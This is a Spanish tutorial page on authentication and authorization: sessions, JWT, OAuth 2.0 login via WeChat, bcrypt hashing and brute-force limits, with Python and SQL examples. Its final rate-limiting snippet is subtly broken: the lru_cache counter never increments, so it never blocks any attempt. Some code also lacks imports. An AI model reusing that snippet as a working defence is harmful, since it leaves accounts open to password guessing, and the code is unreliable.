Skip to content
Main Navigation InicioPrincipiante y PMDesarrollo Full StackDesarrollo AvanzadoApéndice

Español

简体中文
English
日本語
繁體中文
한국어
Français
Deutsch
العربية
Tiếng Việt

Español

简体中文
English
日本語
繁體中文
한국어
Français
Deutsch
العربية
Tiếng Việt

Appearance

Sidebar Navigation

I. Fundamentos de Computación

Desarrollo Fullstack en la era del Vibe Coding

Qué sucede desde que presionas el botón de encendido hasta que visitas un sitio web

De Transistores a CPU

Principios de Organización de Computadores

Sistema Operativo: Contratar un "Gran Administrador" para tu Computadora

Que es la Codificacion y Transmision de Datos?

El Navegador es un Sistema Operativo

Estructuras de Datos

Introduccion al Pensamiento Algoritmico

Mapa de Lenguajes de Programacion

Introduccion a los Principios de Compilacion

Introduccion al Sistema de Tipos

II. Herramientas y Entorno

Fundamentos del Entorno de Desarrollo Integrado (IDE)

Línea de comandos y scripts de Shell

Git: la máquina del tiempo del código

Variables de entorno y PATH

Puertos y localhost

SSH y autenticación por clave

Gestores de paquetes

El arte de la depuración

Expresiones regulares

III. Navegador y Frontend

Guía Avanzada de JavaScript

Guía Profunda de TypeScript

Guía Avanzada de Frameworks Frontend

Tuberia de renderizado del navegador

Sistema de maquetación HTML / CSS

Guía Completa del Entorno de Ejecución de JavaScript

La Esencia de los Frameworks Frontend

Filosofía de la gestión de estado

Enrutamiento y Navegación

Gráficos y Animación (Canvas y sus amigos)

Mecanismos de Comunicación en Tiempo Real (Polling / SSE / WebSocket)

Medición y optimización del rendimiento web

Panorama de la Ingeniería Frontend

Diseño de Arquitectura de Proyectos Frontend

La Dimensión Oculta de la Web: Internacionalización y Accesibilidad

IV. Servidor y Backend

Comparación de Lenguajes Backend

Lenguajes de cliente (Swift / Kotlin / Dart)

Soluciones multiplataforma (React Native / Flutter / Electron / Tauri)

Protocolo HTTP: el "lenguaje de comunicación" entre frontend y backend

El viaje completo de una petición

La esencia de los frameworks web

Introducción a las API: entender el "diálogo entre programas" desde cero

API 设计:前后端的"对话协议"

Serialización: la "traducción" de datos

Sistema de Autenticación y Autorización

Concurrencia, asincronía y multihilo

Niveles y estrategias de caché

Colas de Mensajes y Arquitectura Orientada a Eventos

Colas de tareas asíncronas y modelo productor-consumidor

Limitación de tasa y control de backpressure

Principios de los motores de búsqueda

Almacenamiento de archivos y almacenamiento de objetos

Arquitectura en Capas del Backend

Diseño de Arquitectura de Proyectos Backend

Lenguajes de Dominio Específico (DSL): El "código que no parece código" en el mundo del backend

V. Datos

Fundamentos de bases de datos (Índices / Transacciones / Optimización de consultas)

Panorama de modelos de datos (Documento / Grafo / Serie temporal / Vector)

Seguimiento de datos: Registrar lo que hacen los usuarios en la aplicación

Análisis de datos: Conceptos clave, lógica e insights profundos

Tests A/B: Tomar decisiones con datos

Visualización de Datos y Dashboards

Gobernanza de datos y calidad de los datos

VI. Arquitectura

La evolución de monolito a microservicios

Desafíos de los sistemas distribuidos

Alta disponibilidad y recuperación ante desastres

Metodología de diseño de sistemas

VII. Infraestructura

Fundamentos de Linux

Contenedores Docker

Orquestación con Kubernetes

Automatización CI / CD

Dominios, DNS y HTTPS

Balanceo de Carga y Gateway

Gateway y Proxy Inverso

Plataformas cloud en la práctica

Identidad y gestión de accesos en la nube

Almacenamiento de Objetos y CDN

Infraestructura como Código

Monitoreo, Registro y Alertas

Resolución de incidentes y respuesta ante emergencias

VIII. Inteligencia Artificial

Breve historia de la IA: de la lógica simbólica a los modelos masivos de cientos de miles de millones de parámetros

Redes Neuronales y Aprendizaje Profundo

Transformer y el mecanismo de atención: el motor central de los grandes modelos

Cómo Funcionan los Modelos de Lenguaje de Gran Escala

Ingeniería de Prompts (Prompt Engineering)

Ingeniería de Contexto

Modelos Multimodales (Visión / Audio / Video)

Principios de Generación de Imágenes

Principios de síntesis y reconocimiento de voz

Embedding y búsqueda vectorial

RAG: Generación Aumentada por Recuperación

Agent de IA y Llamada a Herramientas

Protocolos de Agent de IA (MCP y A2A)

Fine-tuning y despliegue de modelos

Diseño de aplicaciones nativas de IA

Diccionario de Capacidades de IA

IX. Excelencia de Ingeniería

Calidad del código y refactorización

Estrategias de testing

Patrones de diseño

Pensamiento de seguridad y fundamentos de ataque y defensa

Escritura de documentación técnica

Colaboración en código abierto

Metodología de selección tecnológica

Navegación de página

Sistema de Autenticación y Autorización ​

💡 Guía de estudio: Este capítulo te lleva a profundizar en el "sistema de control de acceso" del backend: autenticación y autorización. Comenzaremos desde lo más básico, "quién eres", y avanzaremos paso a paso para dominar Session, JWT, OAuth 2.0 y otros esquemas modernos de autenticación.

🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

0. Introducción: El "control de acceso" del sistema ​

¿Por qué cuando inicias sesión en WeChat y lo cierras, al volver a abrirlo sigues conectado? ¿Cómo sabe Bilibili si eres miembro VIP o un usuario normal? ¿Por qué al escanear un código QR con WeChat para iniciar sesión en un sitio de terceros no necesitas ingresar tu contraseña?

Detrás de todo esto hay un sistema central: Autenticación y Autorización (Authentication & Authorization).

Si comparamos el sistema backend con un edificio:

  • Autenticación (Authentication): Confirma "quién eres" (verificar documento de identidad / tarjeta de acceso).
  • Autorización (Authorization): Confirma "a dónde puedes ir" (los VIP pueden entrar a la sala VIP, los usuarios normales no).

0.1 ¿Por qué necesitamos autenticación? ​

Solo hay una razón: proteger los recursos.

  • Protección de privacidad: Tu información personal, historial de chat, solo tú puedes verlo.
  • Control de permisos: El administrador puede eliminar usuarios, los usuarios normales no.
  • Prevención de abusos: Evitar llamadas maliciosas y scraping de APIs.
🧰 Four Common Authentication Credentials
Choose a method to see what the request looks like, where it fits, and the common pitfalls.
What the request looks like
GET /api/profile
Authorization: Basic <base64(username:password)>
Base64 is not encryption. Use HTTPS, and avoid it for public production systems.
When to use it, and when not to
✅ Good fit
  • Very simple and supported by every client
  • Useful for internal or temporary debugging tools
⚠️ Poor fit / risks
  • Sends the password on every request, which is risky
  • No real logout unless the server changes the password
  • Not a good fit for modern product systems
Rule of thumb
Authenticate first, then authorize. Credentials only prove identity; authorization must always be enforced on the server.

0.2 Demostración interactiva: Flujo de inicio de sesión ​

A través de una demostración real de inicio de sesión, comprendamos cómo funcionan la autenticación y la autorización.

🔐 Authentication Flow Demo
Simulate login to understand the difference between authentication and authorization.
Choose auth method:
Login form
💡 Tip
Try username admin,password 123456
📊 Data Flow Visualization

Punto clave: La autenticación es la primera línea de defensa; todas las operaciones sensibles deben verificar primero la identidad.


1. Conceptos básicos: Autenticación vs Autorización ​

1.1 Autenticación (Authentication): ¿Quién eres? ​

Confirma la identidad del usuario.

  • Ejemplo: Ingresar usuario y contraseña, escanear huella dactilar, reconocimiento facial.
  • Salida: Un token que representa "tu" identidad.
  • Abreviatura en inglés: AuthN

1.2 Autorización (Authorization): ¿Qué puedes hacer? ​

Confirma qué permisos tiene el usuario.

  • Ejemplo: El administrador puede eliminar artículos, el usuario normal solo puede dar "me gusta".
  • Salida: Permitir o denegar el acceso.
  • Abreviatura en inglés: AuthZ

1.3 Relación entre ambas ​

Solicitud del usuario → Autenticación (¿Quién eres?) → Autorización (¿Puedes hacerlo?) → Ejecutar lógica de negocio
           ↓                        ↓
      Verificar identidad      Comprobar permisos
      (¿Token válido?)         (¿Tiene permiso de eliminar?)
🪪 AuthN vs 🛂 AuthZ: What Happens to a Request?
Choose who is making the request and what they want to do to see where authentication and authorization apply.
Choose request
In a real system, authentication happens first by parsing a cookie or JWT, while authorization happens in routing or business logic with RBAC/ABAC.
Simulation result
AuthN (authentication)Fail
AuthZ (authorization)Deny
HTTP401 Unauthorized
Request: view_profile
AuthN: FAIL - Missing valid credential such as cookie or JWT
AuthZ: DENY - Authentication failed, so authorization cannot be evaluated
Result: 401 Unauthorized
Key points
  • Authentication failure:the system does not know who you are, so it usually returns 401.
  • Authenticated but unauthorized:the system knows who you are, but you cannot perform the action, so it usually returns 403.
  • Authorization rules belong on the server:do not trust whether the frontend shows a button; that is only UX.

Punto clave: Primero autenticar, luego autorizar. Solo después de confirmar "quién eres" se puede juzgar "qué puedes hacer".


2. Evolución de los esquemas ​

2.1 Primera generación: HTTP Basic Authentication ​

El esquema más antiguo, que coloca directamente el nombre de usuario y la contraseña en la cabecera HTTP.

http
GET /api/user/profile HTTP/1.1
Host: example.com
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
                      (base64("username:password"))
  • Ventajas: Simple, compatible con todos los navegadores.
  • Desventajas:
    • Inseguro (Base64 es decodificable, equivalente a texto plano).
    • Cada solicitud debe enviar la contraseña (fácil de interceptar).
    • No se puede cerrar sesión activamente (a menos que se cierre el navegador).

Conclusión: Solo adecuado para herramientas de prueba internas, nunca usar en producción.

2.2 Segunda generación: Session + Cookie ​

El esquema clásico del desarrollo web.

Flujo:

1. El usuario inicia sesión (POST /login)
   → El servidor verifica usuario y contraseña
   → Crea una Session (en memoria del servidor o Redis)
   → Devuelve Set-Cookie: session_id=abc123

2. Solicitudes posteriores
   → El navegador envía automáticamente Cookie: session_id=abc123
   → El servidor busca la Session según session_id
   → Si la encuentra, considera que "tú eres tú"

Ejemplo de código:

python
# Backend (Python Flask)
from flask import session, request

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    # Verificar usuario y contraseña
    user = db.authenticate(username, password)
    if user:
        # Crear Session
        session["user_id"] = user.id
        session["role"] = user.role
        return {"status": "success"}
    else:
        return {"error": "Usuario o contraseña incorrectos"}, 401

@app.route("/api/admin/users")
def get_users():
    # Verificar Session
    if "user_id" not in session:
        return {"error": "No has iniciado sesión"}, 401

    # Verificar permisos
    if session.get("role") != "admin":
        return {"error": "Permisos insuficientes"}, 403

    # Ejecutar lógica de negocio
    users = db.get_all_users()
    return {"users": users}
🍪 Session + Cookie: Stateful Login
The demo advances manually so each state is visible before the next step.
Browser (client)
Cookie Jar
No cookie yet
Request in this step
(click start)
Server
Session Store(Redis/Memory)
No session yet
Response in this step
Workflow notes

Ventajas:

  • Simple e intuitivo, fácil de entender.
  • El servidor puede cerrar sesión activamente (eliminando la Session).

Desventajas:

  • El servidor tiene estado: Necesita almacenar Session, múltiples servidores requieren compartir estado (ej. Redis).
  • Difícil entre dominios: Las cookies por defecto no pueden cruzar dominios (problema de CORS).
  • Ataques CSRF: Sitios maliciosos pueden suplantar tu Cookie.

Conclusión: Adecuado para aplicaciones web tradicionales (renderizado del lado del servidor), no apto para móviles y SPA modernas.

2.3 Tercera generación: Token (JWT) ​

El esquema principal del desarrollo web moderno.

Idea central: No almacenar estado en el servidor, cifrar la información del usuario en un Token y guardarlo en el cliente.

Estructura de JWT:

JWT = Header.Payload.Signature

Ejemplo:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiIsImV4cCI6MTYxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
 |--------------------------------| |-----------------------------------------------| |----------------------------|
           Header                           Payload                                      Signature
  • Header: Información del algoritmo (ej. {"alg": "HS256", "typ": "JWT"}).
  • Payload: Información del usuario (ej. {"user_id": 123, "role": "admin", "exp": 1616239022}).
  • Signature: Firma (a prueba de manipulaciones).

Flujo:

python
# 1. El usuario inicia sesión
@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    user = db.authenticate(username, password)
    if user:
        # Generar JWT
        token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "exp": datetime.now() + timedelta(hours=24)  # Expira en 24 horas
            },
            SECRET_KEY,
            algorithm="HS256"
        )
        return {"token": token}
    else:
        return {"error": "Usuario o contraseña incorrectos"}, 401

# 2. Solicitudes posteriores
@app.route("/api/admin/users")
def get_users():
    # Obtener Token de la cabecera
    auth_header = request.headers.get("Authorization")
    if not auth_header or not auth_header.startswith("Bearer "):
        return {"error": "Token no proporcionado"}, 401

    token = auth_header.split(" ")[1]

    try:
        # Verificar y analizar Token
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    except jwt.ExpiredSignatureError:
        return {"error": "Token expirado"}, 401
    except jwt.InvalidTokenError:
        return {"error": "Token inválido"}, 401

    # Verificar permisos
    if payload.get("role") != "admin":
        return {"error": "Permisos insuficientes"}, 403

    # Ejecutar lógica de negocio
    users = db.get_all_users()
    return {"users": users}
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1781661439,
  "exp": 1781665039
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

Ventajas:

  • Sin estado: El servidor no almacena Session, fácil de escalar horizontalmente.
  • Compatible entre dominios: Se coloca en la cabecera, sin restricciones de cookies entre dominios.
  • Compatible con móviles: Las apps nativas también pueden usarlo fácilmente.
  • Información rica: El Payload puede almacenar información del usuario, permisos, etc.

Desventajas:

  • No se puede cerrar sesión activamente: Una vez emitido el Token, es válido hasta que expire (a menos que se use una lista negra).
  • Payload visible: Codificación Base64, no se puede almacenar información sensible (como contraseñas).
  • Token grande: Se debe enviar en cada solicitud, varios cientos de bytes.

Conclusión: El esquema estándar para web moderna y móviles.

🧩 Session vs JWT: How Do You Choose?
Pick your constraints and get a recommendation with reasons. This is more useful than memorizing a rule.
Your scenario
Recommendation
Session + Cookie
The safest default for traditional Web apps
Why
  • Same-site Web plus immediate logout needs are easier to control with sessions.
  • For multiple instances, use a shared session store such as Redis.
Implementation tips
  • Cookie: HttpOnly + Secure + SameSite=Lax/Strict depending on the product
  • CSRF: SameSite plus CSRF token for layered defense
  • Session store: Redis + TTL + renewal strategy such as sliding expiration
Common misconceptions
  • JWT is not automatically more secure:JWT is only stateless. Security depends on keys, expiration, storage, and authorization design.
  • Cookie does not automatically mean CSRF:SameSite plus CSRF tokens can significantly reduce risk.
  • Do not treat third-party OAuth tokens as your system tokens:They have different purposes.

3. OAuth 2.0: Inicio de sesión con terceros ​

Seguro que has visto este botón: "Iniciar sesión con WeChat", "Iniciar sesión con Google".

Esto es OAuth 2.0: un marco de autorización (¡no de autenticación!).

3.1 Roles principales ​

RolDescripciónEjemplo
Resource OwnerPropietario del recurso (usuario)Tú
ClientAplicación de tercerosUn sitio web
Authorization ServerServidor de autorizaciónWeChat, Google
Resource ServerServidor de recursosAPI de información de usuario de WeChat

3.2 Modo Authorization Code (Authorization Code Flow) ​

El modo más seguro, adecuado para servidores con backend.

Flujo:

1. El usuario hace clic en "Iniciar sesión con WeChat"
   → Redirige a la página de autorización de WeChat
   https://open.weixin.qq.com/connect/qrconnect?
     appid=APPID&
     redirect_uri=https://yourapp.com/callback&
     response_type=code&
     scope=snsapi_login&
     state=STATE

2. El usuario escanea el código QR y acepta la autorización
   → WeChat redirige de vuelta a tu sitio web
   https://yourapp.com/callback?code=AUTHORIZATION_CODE&state=STATE

3. Tu backend usa el code para obtener el access_token
   POST https://api.weixin.qq.com/sns/oauth2/access_token
   {
     "appid": "APPID",
     "secret": "SECRET",
     "code": "AUTHORIZATION_CODE",
     "grant_type": "authorization_code"
   }
   → Devuelve: { "access_token": "...", "openid": "..." }

4. Usa el access_token para obtener la información del usuario
   GET https://api.weixin.qq.com/sns/userinfo?
     access_token=ACCESS_TOKEN&
     openid=OPENID
   → Devuelve: { "nickname": "Zhang San", "headimgurl": "..." }
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

Ejemplo de código:

python
from flask import request, redirect

@app.route("/login/wechat")
def login_wechat():
    # 1. Redirigir a la página de autorización de WeChat
    auth_url = (
        "https://open.weixin.qq.com/connect/qrconnect"
        f"?appid={APPID}"
        f"&redirect_uri={urlencode(REDIRECT_URI)}"
        "&response_type=code"
        "&scope=snsapi_login"
        f"&state={generate_state()}"
    )
    return redirect(auth_url)

@app.route("/callback")
def wechat_callback():
    # 2. Obtener code
    code = request.args.get("code")
    state = request.args.get("state")

    # Verificar state (anti CSRF)
    if not verify_state(state):
        return {"error": "Invalid state"}, 400

    # 3. Usar code para obtener access_token
    token_resp = requests.post(
        "https://api.weixin.qq.com/sns/oauth2/access_token",
        params={
            "appid": APPID,
            "secret": SECRET,
            "code": code,
            "grant_type": "authorization_code"
        }
    ).json()

    access_token = token_resp["access_token"]
    openid = token_resp["openid"]

    # 4. Obtener información del usuario
    user_info = requests.get(
        "https://api.weixin.qq.com/sns/userinfo",
        params={
            "access_token": access_token,
            "openid": openid
        }
    ).json()

    # 5. Crear o actualizar usuario localmente
    user = db.get_or_create_user(
        openid=openid,
        nickname=user_info["nickname"],
        avatar=user_info["headimgurl"]
    )

    # 6. Generar JWT del sistema local
    token = jwt.encode(
        {"user_id": user.id, "exp": ...},
        SECRET_KEY
    )

    return {"token": token}

Puntos clave:

  • code solo se puede usar una vez: Se invalida después de usarse, evita interceptaciones.
  • state anti CSRF: Genera una cadena aleatoria, verifica en el callback para evitar falsificaciones de sitios maliciosos.
  • redirect_uri debe coincidir: Registrado previamente en la plataforma abierta de WeChat, evita ataques de redirección.

3.3 Otros modos ​

ModoEscenario aplicableSeguridad
Authorization CodeServidores con backend⭐⭐⭐⭐⭐
ImplicitAplicaciones frontend puras (SPA)⭐⭐⭐ (no recomendado)
Resource Owner PasswordAplicaciones de alta confianza (app oficial)⭐⭐
Client CredentialsComunicación entre servidores (sin usuario)⭐⭐⭐⭐
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

4. Práctica: Diseñar un sistema de autenticación completo ​

4.1 Análisis de requisitos ​

  • Soporte multiplataforma: Web, iOS, Android.
  • Inicio de sesión con terceros: WeChat, Google.
  • Control de permisos: Usuario normal, VIP, administrador.
  • Seguridad: Anti-scraping, anti-secuestro, anti-repetición.

4.2 Diseño de arquitectura ​

┌─────────────┐
│   Cliente    │
└──────┬──────┘
       │
       ▼
┌─────────────────────────────────┐
│         API Gateway             │
│  - Rate Limiting                │
│  - Token Validation             │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│      Auth Service               │
│  - Registro, inicio de sesión   │
│  - Emisión y verificación de Token │
│  - Integración OAuth 2.0        │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│    Business Services            │
│  - User Service                 │
│  - Order Service                │
│  - Payment Service              │
└─────────────────────────────────┘

4.3 Diseño de base de datos ​

sql
-- Tabla de usuarios
CREATE TABLE users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,  -- hash bcrypt
    email VARCHAR(100) UNIQUE,
    role ENUM('user', 'vip', 'admin') DEFAULT 'user',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    INDEX idx_username (username),
    INDEX idx_email (email)
);

-- Tabla de vinculación de inicio de sesión con terceros
CREATE TABLE user_auth_providers (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    user_id BIGINT NOT NULL,
    provider ENUM('wechat', 'google', 'github') NOT NULL,
    provider_user_id VARCHAR(100) NOT NULL,  -- ID de usuario del tercero
    access_token TEXT,  -- almacenamiento cifrado
    refresh_token TEXT,
    expires_at TIMESTAMP,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    UNIQUE KEY uk_provider_provider_user_id (provider, provider_user_id),
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- Lista negra de tokens (para cierre de sesión activo)
CREATE TABLE token_blacklist (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    token_jti VARCHAR(100) UNIQUE NOT NULL,  -- JTI del JWT (identificador único)
    expired_at TIMESTAMP NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_expired_at (expired_at)
);
🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

4.4 Implementación de código ​

python
# auth_service.py
import bcrypt
import jwt
from datetime import datetime, timedelta

SECRET_KEY = "your-secret-key-here"  # En producción usar variables de entorno

class AuthService:
    def register(self, username: str, password: str, email: str = None):
        # 1. Verificar si el usuario ya existe
        if db.get_user_by_username(username):
            raise ValueError("El usuario ya existe")

        # 2. Hashear contraseña (bcrypt)
        password_hash = bcrypt.hashpw(
            password.encode('utf-8'),
            bcrypt.gensalt(rounds=12)
        ).decode('utf-8')

        # 3. Crear usuario
        user = db.create_user(
            username=username,
            password_hash=password_hash,
            email=email
        )

        # 4. Emitir Token
        return self._generate_tokens(user)

    def login(self, username: str, password: str):
        # 1. Consultar usuario
        user = db.get_user_by_username(username)
        if not user:
            raise ValueError("Usuario o contraseña incorrectos")

        # 2. Verificar contraseña
        if not bcrypt.checkpw(
            password.encode('utf-8'),
            user.password_hash.encode('utf-8')
        ):
            raise ValueError("Usuario o contraseña incorrectos")

        # 3. Emitir Token
        return self._generate_tokens(user)

    def _generate_tokens(self, user):
        now = datetime.now()

        # Access Token (corto plazo, ej. 1 hora)
        access_token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "type": "access",
                "iat": now,
                "exp": now + timedelta(hours=1),
                "jti": str(uuid4())  # Identificador único
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        # Refresh Token (largo plazo, ej. 30 días)
        refresh_token = jwt.encode(
            {
                "user_id": user.id,
                "type": "refresh",
                "iat": now,
                "exp": now + timedelta(days=30),
                "jti": str(uuid4())
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        return {
            "access_token": access_token,
            "refresh_token": refresh_token,
            "token_type": "Bearer",
            "expires_in": 3600  # Tiempo de expiración del access_token (segundos)
        }

    def refresh(self, refresh_token: str):
        try:
            payload = jwt.decode(refresh_token, SECRET_KEY, algorithms=["HS256"])
            if payload.get("type") != "refresh":
                raise ValueError("Invalid token type")

            user = db.get_user_by_id(payload["user_id"])
            return self._generate_tokens(user)
        except jwt.ExpiredSignatureError:
            raise ValueError("Refresh token expirado")
        except jwt.InvalidTokenError:
            raise ValueError("Refresh token inválido")

    def logout(self, token: str):
        # Agregar Token a la lista negra
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        db.add_to_blacklist(
            jti=payload["jti"],
            expired_at=datetime.fromtimestamp(payload["exp"])
        )

    def verify_token(self, token: str):
        try:
            payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])

            # Verificar si está en la lista negra
            if db.is_token_blacklisted(payload["jti"]):
                raise ValueError("Token revocado")

            return payload
        except jwt.ExpiredSignatureError:
            raise ValueError("Token expirado")
        except jwt.InvalidTokenError:
            raise ValueError("Token inválido")

# Decorador de API
def require_auth(auth_service: AuthService):
    def decorator(f):
        def wrapper(*args, **kwargs):
            # Obtener Token de la cabecera
            auth_header = request.headers.get("Authorization")
            if not auth_header or not auth_header.startswith("Bearer "):
                return {"error": "Token no proporcionado"}, 401

            token = auth_header.split(" ")[1]

            try:
                # Verificar Token
                payload = auth_service.verify_token(token)
                # Inyectar información del usuario en el contexto de la solicitud
                request.user = payload
                return f(*args, **kwargs)
            except ValueError as e:
                return {"error": str(e)}, 401

        return wrapper
    return decorator

def require_role(*roles):
    def decorator(f):
        def wrapper(*args, **kwargs):
            if not hasattr(request, "user"):
                return {"error": "No has iniciado sesión"}, 401

            if request.user["role"] not in roles:
                return {"error": "Permisos insuficientes"}, 403

            return f(*args, **kwargs)
        return wrapper
    return decorator

# Ejemplo de uso
@app.route("/api/admin/users", methods=["GET"])
@require_auth(auth_service)
@require_role("admin")
def get_users():
    users = db.get_all_users()
    return {"users": users}

@app.route("/api/user/profile", methods=["GET"])
@require_auth(auth_service)
def get_profile():
    user = db.get_user_by_id(request.user["user_id"])
    return {"user": user}

@app.route("/auth/refresh", methods=["POST"])
def refresh_token():
    refresh_token = request.json.get("refresh_token")
    try:
        tokens = auth_service.refresh(refresh_token)
        return tokens
    except ValueError as e:
        return {"error": str(e)}, 401
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1781661439,
  "exp": 1781665039
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

5. Mejores prácticas de seguridad ​

5.1 Almacenamiento de contraseñas ​

❌ Prácticas incorrectas:

python
# Almacenamiento en texto plano (¡absolutamente no!)
db.save_password(username, password)

# Hash MD5 / SHA1 (no es suficientemente seguro, vulnerable a tablas arcoíris)
hash = md5(password)
db.save_password(username, hash)

✅ Prácticas correctas:

python
# bcrypt (hash adaptativo, hash lento para prevenir fuerza bruta)
import bcrypt

password_hash = bcrypt.hashpw(
    password.encode('utf-8'),
    bcrypt.gensalt(rounds=12)  # Cuanto mayor sea rounds, más seguro pero más lento
)

# Verificación
if bcrypt.checkpw(password.encode('utf-8'), password_hash):
    # Contraseña correcta

¿Por qué bcrypt?

  • Lento: Diseñado intencionadamente para ser lento (milisegundos), previene fuerza bruta.
  • Adaptativo: Se puede ajustar rounds, se fortalece a medida que el hardware mejora.
  • Con sal: Incluye sal aleatoria por defecto, previene tablas arcoíris.
🔐 Password Storage: Hash + Salt + Slow
See how PBKDF2, used here as a slow-hash demo, resists rainbow tables and brute force. Real projects usually choose bcrypt or Argon2.
Input
Higher values are slower and raise brute-force cost, but also slow down login.
salt
Output (simulation)
Algorithm: PBKDF2-SHA256Time: 0ms
derived key (hex)
(enter a password)
Conclusion
Do not store plaintext passwords. Do not use fast unsalted hashes such as MD5, SHA1, or direct SHA256 for passwords. Use a dedicated password hash or KDF with cost and salt.
🌈 Why Rainbow Tables Fail: Same Password + Different Salt → Different Result
salt A
hash A
-
salt B
hash B
-
Rainbow tables rely on precomputation. If the same password always produced the same hash, attackers could look it up quickly. Salt makes precomputation explode in cost.

5.2 Prevención de fuerza bruta ​

  • Rate Limiting: Misma IP / nombre de usuario, solo 5 intentos por minuto.
  • CAPTCHA: Después de 3 intentos fallidos, solicitar CAPTCHA.
  • Bloqueo de cuenta: Después de 10 intentos fallidos, bloquear la cuenta por 30 minutos.
python
from functools import lru_cache
import time

@lru_cache(maxsize=10000)
def get_login_attempts(identifier: str) -> tuple:
    """Devuelve (número de intentos, hora del primer intento)"""
    return (0, 0)

def check_rate_limit(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    now = time.time()

    # Reiniciar después de 1 minuto
    if now - first_attempt > 60:
        get_login_attempts.cache_clear()
        return True

    # Más de 5 intentos, denegar
    if attempts >= 5:
        return False

    return True

def record_login_attempt(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    if attempts == 0:
        first_attempt = time.time()
    get_login_attempts.cache_clear()
    get_login_attempts(identifier)  # Volver a cachear

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]

    # Verificar rate limit
    if not check_rate_limit(username):
        return {"error": "Demasiados intentos, inténtalo de nuevo en 1 minuto"}, 429

    password = request.json["password"]

    # Verificar contraseña
    user = db.get_user_by_username(username)
    if user and bcrypt.checkpw(password.encode(), user.password_hash.encode()):
        # Inicio de sesión exitoso, limpiar contador
        get_login_attempts.cache_clear()
        return {"token": generate_token(user)}
    else:
        # Inicio de sesión fallido, registrar
        record_login_attempt(username)
        return {"error": "Usuario o contraseña incorrectos"}, 401

